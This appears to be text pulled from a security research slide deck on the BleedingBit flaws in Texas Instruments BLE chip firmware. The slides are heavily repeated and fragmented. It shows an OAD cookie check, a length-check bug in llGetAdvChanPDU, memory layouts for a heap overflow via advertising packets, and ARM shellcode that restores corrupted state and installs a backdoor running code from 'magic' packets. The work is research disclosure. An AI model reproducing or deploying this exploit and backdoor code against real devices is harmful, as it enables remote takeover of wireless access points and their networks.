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$ gatttool -i hci1 --primary -b f4:5e:ab:e7:ff:5d

attr handle = 0x0001, end grp handle = 0x000b

uuid: 00001800-0000-1000-8000-00805f9b34fb

attr handle = 0x000c, end grp handle = 0x000f

uuid: 00001801-0000-1000-8000-00805f9b34fb

attr handle = 0x0010, end grp handle = 0x001c

uuid: 0000180a-0000-1000-8000-00805f9b34fb

attr handle = 0x001d, end grp handle = 0x0029

uuid: f000ffc0-0451-4000-b000-000000000000

attr handle = 0x002a, end grp handle = 0x0031

uuid: faafea00-b67b-6ee7-3d4c-424fb2f14a66

attr handle = 0x0032, end grp handle = 0xffff

uuid: 272fe150-6c6c-4718-a3d4-6de8a3735cff











static bStatus_t oadWriteAttrCB(...)
{
...
if (osal_memcmp(pAttr->type.uuid,

oadCharUUID[OAD_CHAR_IMG_IDENTIFY],
ATT_UUID_SIZE)) {

status = oadImgIdentifyWrite(connHandle, pValue);

} else if (osal_memcmp(pAttr->type.uuid,
oadCharUUID[OAD_CHAR_IMG_BLOCK],
ATT_UUID_SIZE)) {

status = oadImgBlockWrite(connHandle, pValue);
}

...
}



static bStatus_t ARUBA_oadWriteAttrCB(...)
{
...
if (is_oad_unlocked) {
// 128-bit UUID
if (is_img_write_unlocked && 

osal_memcmp(pAttr->type.uuid,
oadCharUUID[OAD_CHAR_IMG_IDENTIFY],
ATT_UUID_SIZE)) {

status = oadImgIdentifyWrite(connHandle, pValue);

} else if (osal_memcmp(pAttr->type.uuid,
oadCharUUID[OAD_CHAR_IMG_BLOCK],
ATT_UUID_SIZE)) {

status = oadImgBlockWrite(connHandle, pValue);

} else {
status = ATT_ERR_ATTR_NOT_FOUND;

}
} else if (osal_memcmp(pAttr->type.uuid,

OAD_UNLOCK_UUID, ATT_UUID_SIZE) {
if (osal_memcmp(pAttr->pValue, OAD_COOKIE, ATT_UUID_SIZE)) {

is_oad_unlocked = true;
} else if (osal_memcmp(pAttr->pValue, AB_ACCESS_COOKIE, ATT_UUID_SIZE)) {

is_img_write_unlocked = true;
}

}
...

}

static bStatus_t oadWriteAttrCB(...)
{
...
if (osal_memcmp(pAttr->type.uuid,

oadCharUUID[OAD_CHAR_IMG_IDENTIFY],
ATT_UUID_SIZE)) {

status = oadImgIdentifyWrite(connHandle, pValue);

} else if (osal_memcmp(pAttr->type.uuid,
oadCharUUID[OAD_CHAR_IMG_BLOCK],
ATT_UUID_SIZE)) {

status = oadImgBlockWrite(connHandle, pValue);
}
...
}



static bStatus_t ARUBA_oadWriteAttrCB(...)
{
...
if (osal_memcmp(pAttr->type.uuid,

OAD_UNLOCK_UUID, ATT_UUID_SIZE) {
if (osal_memcmp(pAttr->pValue, OAD_COOKIE, ATT_UUID_SIZE)) {

is_oad_unlocked = true;
} else if (osal_memcmp(pAttr->pValue,

AB_ACCESS_COOKIE, ATT_UUID_SIZE)) {
is_img_write_unlocked = true;

}
}
...
}







































void llGetAdvChanPDU(uint8 *pduType, uint8 *isTxAddress,
uint8 *advAddr, uint8 *dataLen,
uint8 *advData, int8 *rssi)

{
dataEntry_t *dataEntry;
uint8 pktLength;
uint8 *pktData;
...
dataEntry = RFHAL_GetNextDataEntry(scanParam.pRxQ);
...
pktLength = dataEntry.data[1];
pktData = &(dataEntry.data[2]); //Skip the 2 byte header
*dataLen = pktLength - 6;



void llGetAdvChanPDU(uint8 *pduType, uint8 *isTxAddress,
uint8 *advAddr, uint8 *dataLen,
uint8 *advData, int8 *rssi)

{
dataEntry_t *dataEntry;
uint8 pktLength;
uint8 *pktData;
...
dataEntry = RFHAL_GetNextDataEntry(scanParam.pRxQ);
...
pktLength = dataEntry.data[1];
pktData = &(dataEntry.data[2]); //Skip the 2 byte header
*dataLen = pktLength - 6;

dataEntry.data[1]dataEntry.data[0]

dataEntry.data[1]



if ((signed int)*dataLen >= 32) // Check for bad size
halAssertHandler();

// Copy address from packet
for (i = 0; i < 6; ++i)



if ((signed int)*dataLen >= 32) // Check for bad size
halAssertHandler();

// Copy address from packet
for (i = 0; i < 6; ++i)



// Copy address from packet
for (i = 0; i < 6; ++i)
{
*advAddr++ = *pktData++;

}
...
// Parse packet header, convert packet type to pduType

enum
...
// Copy the rest of the packet
for (i = 0; i < (unsigned int)*dataLen; ++i)
{
*advData++ = *pktData++;

}
...
}
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void llGetAdvChanPDU(...)
{
dataEntry_t *dataEntry;
uint8 pktLength;
uint8 *pktData;
...
dataEntry = RFHAL_GetNextDataEntry(RxQ);
...
pktLength = dataEntry.data[1];

signed int parse_and_validate_packet_header(...)
{
int packet_len;
int pduType;
...
// Radio waits for syncword
...
pkt_first_word = RF_read_word();
...
pduType = pkt_first_word & 0xF;

// advLenMask == 0x3F (0b00111111)
// maxAdvPktLen == 0x25 (37)
packet_len = ((uint8)pkt_first_word & advLenMask);
...
if ( packet_len_extracted > maxAdvPktLen )

return -1; // Failed

}





advPkt

llProcessScanRxFIFO

llGetAdvChanPDU

void llGetAdvChanPDU(...)
{
dataEntry_t *dataEntry;
uint8 pktLength;
uint8 *pktData;
...
// Copy the rest of the packet
for (i = 0; i < (unsigned int)*dataLen; ++i)
{
*advData++ = *pktData++;

}
...
}



Advertising incoming packet

Function pointers

System clock

Last system clock timestamp

System timers list pointer

GAP Outgoing response

Task IDs

advPkt

hciGapTaskID

hciL2capTaskID

hciSmpTaskID

hciExtTaskID

bleDispatch_TaskID

rspBuf

timerHead

osal_last_timestamp

osal_systemClock

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection
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Function pointers

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection
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void llGetAdvChanPDU(uint8 *pduType, uint8 *isTxAddress,
uint8 *advAddr, uint8 *dataLen,
uint8 *advData, int8 *rssi)

{
dataEntry_t *dataEntry;
uint8 pktLength;
uint8 *pktData;
...
dataEntry = RFHAL_GetNextDataEntry(scanParam.pRxQ);
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4 bytes 48 bytes

status
byte bytebyte

length
2 bytes

config payloadpNextEntry
4 bytes 48 bytes

status
byte bytebyte

length
2 bytes

1 2 3 4



payload config payloadpNextEntry
4 bytes 48 bytes

status
byte bytebyte

length
2 bytes

config payloadpNextEntry
4 bytes 48 bytes

status
byte bytebyte

length
2 bytes

config payloadpNextEntry
4 bytes 48 bytes

status
byte bytebyte

length
2 bytes

1 2 3 4

// r2 points to 0x20004480
ldr r1, [r2, #54]
subs r1, #112
str r1, [r1]



payload config payloadpNextEntry
4 bytes 48 bytes

status
byte bytebyte

length
2 bytes

config payloadpNextEntry
4 bytes 48 bytes

status
byte bytebyte

length
2 bytes

config payloadpNextEntry
4 bytes 48 bytes

status
byte bytebyte

length
2 bytes

1 2 3 4

// r2 points to 0x20004480
ldr r1, [r2, #54]
subs r1, #112
str r1, [r1]



Triggering packet

Controlled data

Controlled data

Uncontrolled data

Uncontrolled data

Uncontrolled data

Uncontrolled data

advPkt

hciGapTaskID

hciL2capTaskID

hciSmpTaskID

hciExtTaskID

bleDispatch_TaskID

rspBuf

timerHead

osal_last_timestamp

osal_systemClock

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection

Uncontrolled data

trngState

tasksEvents

gapMaxScanResponses

pGapScanRecs

gapCentralConnCBs

gapParams

gapCentralCBs



Controlled data

Must be restored

Must be restored

Uncontrolled data

Must be restored

Must be restored

Must be restored

Triggering packet

Controlled data

Uncontrolled data

Uncontrolled data

advPkt

hciGapTaskID

hciL2capTaskID

hciSmpTaskID

hciExtTaskID

bleDispatch_TaskID

rspBuf

timerHead

osal_last_timestamp

osal_systemClock

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection

Uncontrolled data

trngState

tasksEvents

gapMaxScanResponses

pGapScanRecs

gapCentralConnCBs

gapParams

gapCentralCBs



Controlled data

Must be restored

Must be restored

Uncontrolled data

Must be restored

Must be restored

Must be restored

Triggering packet

Controlled data

Uncontrolled data

Uncontrolled data

advPkt

hciGapTaskID

hciL2capTaskID

hciSmpTaskID

hciExtTaskID

bleDispatch_TaskID

rspBuf

timerHead

osal_last_timestamp

osal_systemClock

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection

Uncontrolled data

trngState

tasksEvents

gapMaxScanResponses

pGapScanRecs

gapCentralConnCBs

gapParams

gapCentralCBs

17 bytes restored in spray  + 
8 bytes constants in spray +
14 bytes code in trigger packet

str r0, [r2, #112] // timerHead
str r3, [r2, #124] // ICall_dispatcher
movs r0, #0x8      
str r0, [r2, #52]  // bleDispatch_TaskID=8
movs r0, #0x1      
str r0, [r2, #48]  // hciGapTaskID=1
bx lr



Uncontrolled, 
Must be restored
(16 bytes)

Controlled data

Must be restored

Must be restored

Uncontrolled data

Must be restored

Must be restored

Must be restored

Triggering packet

Controlled data

Uncontrolled data

Uncontrolled data

advPkt

hciGapTaskID

hciL2capTaskID

hciSmpTaskID

hciExtTaskID

bleDispatch_TaskID

rspBuf

timerHead

osal_last_timestamp

osal_systemClock

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection

trngState

tasksEvents

gapMaxScanResponses

pGapScanRecs

gapCentralConnCBs

gapParams

gapCentralCBs

17 bytes restored in spray  + 
8 bytes constants in spray +
14 bytes code in trigger packet

str r0, [r2, #112] // timerHead
str r3, [r2, #124] // ICall_dispatcher
movs r0, #0x8      
str r0, [r2, #52]  // bleDispatch_TaskID=8
movs r0, #0x1      
str r0, [r2, #48]  // hciGapTaskID=1
bx lr



Restored (somehow?)
(16 bytes)

Controlled data

Must be restored

Must be restored

Uncontrolled data

Must be restored

Must be restored

Must be restored

Triggering packet

Controlled data

Uncontrolled data

Uncontrolled data

advPkt

hciGapTaskID

hciL2capTaskID

hciSmpTaskID

hciExtTaskID

bleDispatch_TaskID

rspBuf

timerHead

osal_last_timestamp

osal_systemClock

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection

trngState

tasksEvents

gapMaxScanResponses

pGapScanRecs

gapCentralConnCBs

gapParams

gapCentralCBs

17 bytes restored in spray  + 
8 bytes constants in spray +
14 bytes code in trigger packet

str r0, [r2, #112] // timerHead
str r3, [r2, #124] // ICall_dispatcher
movs r0, #0x8      
str r0, [r2, #52]  // bleDispatch_TaskID=8
movs r0, #0x1      
str r0, [r2, #48]  // hciGapTaskID=1
bx lr





Triggering packet

Uncontrolled data

Uncontrolled data

Uncontrolled data

Uncontrolled data

advPkt

hciGapTaskID

hciL2capTaskID

hciSmpTaskID

hciExtTaskID

bleDispatch_TaskID

rspBuf

timerHead

osal_last_timestamp

osal_systemClock

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection

0x20004488

0x200044F4

0x200044F8

0x200044FC

0x200044F0

0x200044B0

0x200044B5

Controlled data



Uncontrolled data

Uncontrolled data

Must be restored

Must be restored

Must be restored

Triggering packet

Uncontrolled data

Uncontrolled data

advPkt

hciGapTaskID

hciL2capTaskID

hciSmpTaskID

hciExtTaskID

bleDispatch_TaskID

rspBuf

timerHead

osal_last_timestamp

osal_systemClock

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection

0x20004488

0x200044F4

0x200044F8

0x200044FC

0x200044F0

0x200044B0

0x200044B5



Uncontrolled data

Uncontrolled data

Uncontrolled data

Uncontrolled data

Must be restored

Must be restored

Must be restored

Triggering packet advPkt

hciGapTaskID

hciL2capTaskID

hciSmpTaskID

hciExtTaskID

bleDispatch_TaskID

rspBuf

timerHead

osal_last_timestamp

osal_systemClock

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection

0x20004488

0x200044F4

0x200044F8

0x200044FC

0x200044F0

0x200044B0

0x200044B5

Backdoor address (0x20004480)

Gadget to “BX LR”

Controlled data

NULL to avoid restoring GAP gapCentralCBs[1]



Uncontrolled data

Uncontrolled data

Uncontrolled data

Uncontrolled data

Must be restored

Must be restored

Must be restored

Triggering packet advPkt

hciGapTaskID

hciL2capTaskID

hciSmpTaskID

hciExtTaskID

bleDispatch_TaskID

rspBuf

timerHead

osal_last_timestamp

osal_systemClock

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection

0x20004488

0x200044F4

0x200044F8

0x200044FC

0x200044F0

0x200044B0

0x200044B5

Backdoor address (0x20004480)

Gadget to “BX LR”

Controlled data

NULL to avoid restoring GAP gapCentralCBs[1]

movs r7, #0
str r7, [r2]
subs r2, #156
str r0, [r2, #112]
str r3, [r2, #124]
movs r0, #0x8
str r0, [r2, #52]
bx lr

8 constant bytes in spray +
16 bytes code in trigger packet



Triggering packet

Controlled data

Controlled data

Uncontrolled data

Uncontrolled data

Uncontrolled data

Uncontrolled data

advPkt

hciGapTaskID

hciL2capTaskID

hciSmpTaskID

hciExtTaskID

bleDispatch_TaskID

rspBuf

timerHead

osal_last_timestamp

osal_systemClock

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection

0x20004488

0x200044F4

0x200044F8

0x200044FC

0x200044F0

0x200044B0

0x200044B5



Triggering packet

Controlled data

Controlled data

Uncontrolled data

Uncontrolled data

Uncontrolled data

Uncontrolled data

advPkt

hciGapTaskID

hciL2capTaskID

hciSmpTaskID

hciExtTaskID

bleDispatch_TaskID

rspBuf

timerHead

osal_last_timestamp

osal_systemClock

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection

0x20004488

0x200044F4

0x200044F8

0x200044FC

0x200044F0

0x200044B0

0x200044B5

Backdoor code0x20004480backdoor:
; Load magic from packet
ldr r0, [pc, #4]
; Magic must be 0x20004486
cmp r0, pc
; If detected execute packet
beq payload
; Not a magic packet
bx lr

advPkt:
.long possible_magic

payload:



Triggering packet

Uncontrolled data

Uncontrolled data

Uncontrolled data

Uncontrolled data

advPkt

hciGapTaskID

hciL2capTaskID

hciSmpTaskID

hciExtTaskID

bleDispatch_TaskID

rspBuf

timerHead

osal_last_timestamp

osal_systemClock

ICall_dispatcher

ICall_enterCriticalSection

ICall_exitCriticalSection

0x20004488

0x200044F4

0x200044F8

0x200044FC

0x200044F0

0x200044B0

0x200044B5

Shellcode address (0x20004488)

Backdoor address (0x20004480)

Gadget to “BX LR”

Backdoor code0x20004480

Controlled data

backdoor:
; Load magic from packet
ldr r0, [pc, #4]
; Magic must be 0x20004486
cmp r0, pc
; If detected execute packet
beq payload
; Not a magic packet
bx lr

advPkt:
.long possible_magic

payload:



adds r2, #128
ldmia r2!, {r0, r1, r3, r4, r5} 

gapCentralCBs[1]



adds r2, #128
ldmia r2!, {r0, r1, r3, r4, r5} 
movs r7, #0
str r7, [r2]
subs r2, #156



backdoor:
; Load magic from packet
ldr r0, [pc, #4]
; Magic must be 0x20004486
cmp r0, pc
; Magic detected, execute packet
beq payload
; Not a magic packet, do nothing
bx lr

advPkt:
.long possible_magic

payload:

adds r2, #128
ldmia r2!, {r0, r1, r3, r4, r5} 
movs r7, #0
str r7, [r2]
subs r2, #156
str r4, [r2]
str r5, [r2, #4]



adds r2, #128
ldmia r2!, {r0, r1, r3, r4, r5} 
movs r7, #0
str r7, [r2]
subs r2, #156
str r4, [r2]
str r5, [r2, #4]
ldr r1, [r2, #54]
subs r1, #112
str r1, [r1]



adds r2, #128
ldmia r2!, {r0, r1, r3, r4, r5} 
movs r7, #0
str r7, [r2]
subs r2, #156
str r4, [r2]
str r5, [r2, #4]
ldr r1, [r2, #54]
subs r1, #112
str r1, [r1]
str r0, [r2, #112]
str r3, [r2, #124]
movs r0, #0x8



adds r2, #128
ldmia r2!, {r0, r1, r3, r4, r5} 
movs r7, #0
str r7, [r2]
subs r2, #156
str r4, [r2]
str r5, [r2, #4]
ldr r1, [r2, #54]
subs r1, #112
str r1, [r1]
str r0, [r2, #112]
str r3, [r2, #124]
movs r0, #0x8
str r0, [r2, #52]
bx lr



adds r2, #128
ldmia r2!, {r0, r1, r3, r4, r5} 
movs r7, #0
str r7, [r2]
subs r2, #156
str r4, [r2]
str r5, [r2, #4]
ldr r1, [r2, #54]
subs r1, #112
str r1, [r1]
str r0, [r2, #112]
str r3, [r2, #124]
movs r0, #0x8
str r0, [r2, #52]
bx lr



adds r2, #128
ldmia r2!, {r0, r1, r3, r4, r5} 
movs r7, #0
str r7, [r2]
subs r2, #156
str r4, [r2]
str r5, [r2, #4]
ldr r1, [r2, #54]
subs r1, #112
str r1, [r1]
str r0, [r2, #112]
str r3, [r2, #124]
movs r0, #0x8
str r0, [r2, #52]
bx lr









https://armis.com/bleedingbit

